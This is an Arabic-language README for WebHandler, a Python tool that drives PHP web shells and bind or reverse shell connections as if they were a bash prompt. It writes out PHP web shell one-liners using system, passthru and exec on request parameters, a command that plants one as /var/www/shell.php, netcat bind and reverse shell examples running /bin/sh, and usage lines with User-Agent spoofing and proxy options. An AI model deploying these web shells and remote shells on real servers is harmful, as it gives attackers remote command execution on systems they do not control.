
محاكي Bash للتحكم في خادم باستخدام دوال النظام في PHP.
مُعالِج لدوال نظام PHP، وبديل عن معالج 'netcat'
يحاول WebHandler محاكاة 'موجه أوامر bash في لينكس' للتعامل مع ما يلي ومعالجته:
- دوال تنفيذ برامج PHP _(مثل `system` و`passthru` و`exec` وغيرها)_
- اتصالات الشل المقيّدة (Bind shell)
- اتصالات الشل العكسية (Reverse shell)
ميزة أخرى هي انتحال حقل "User-Agent" في ترويسة HTTP. (--random-angent).
كما يدعم وكلاء HTTP (--proxy http://<ip>:<port>)
يعمل WebHandler مع طلبات POST وGET:
<?php system($_GET['cmd']); ?><?php passthru($_REQUEST['cmd']); ?><?php echo exec($_POST['cmd']); ?>يُعد WebHandler بديلاً لاتصالات netcat.
مثال على اتصال bind (مثل nc -lvvp 1234 -e /bin/sh)
عادةً ما يقوم المستخدم بالآتي:
netcat -l -p 1234nc -lvvp 1234مثال على اتصال عكسي (مثل nc 127.0.0.1 4321 -e /bin/sh)
عادةً ما يقوم المستخدم بالآتي:
netcat -l -p 4321nc -lvvp 4321--ملف مثال:
echo '<?php system($_GET['cmd']); ?>' > /var/www/shell.php--url وسيط إلزامي عند إرسال طلبات GET أو POST (مثل اتصال bind يعتمد على PHP عبر الويب):
python webhandler.py --url http://www.mywebsite.com/shell.php?cmd=python webhandler.py --url http://www.mywebsite.com/shell.php --method POST --parameter cmdpython webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --random-agent --turbopython webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --proxy http://127.0.0.1:8080--listen وسيط إلزامي عند انتظار اتصال (مثل اتصال عكسي 'خام'):
python webhandler.py --listen 1234إذا كان إصدار Python لديك أقل من 2.7.x، فإن argparse مطلوب.
لتثبيته شغّل: sudo (apt-get|yum) install python-setuptools && sudo easy_install argparse أو sudo pip --install argparse.
readline اختياري. تُستخدم هذه الوحدة لتوفير ميزات متقدمة لتحرير الأسطر وسجل الأوامر (history).
git اختياري. يتيح ذلك إبقاء المشروع محدّثًا.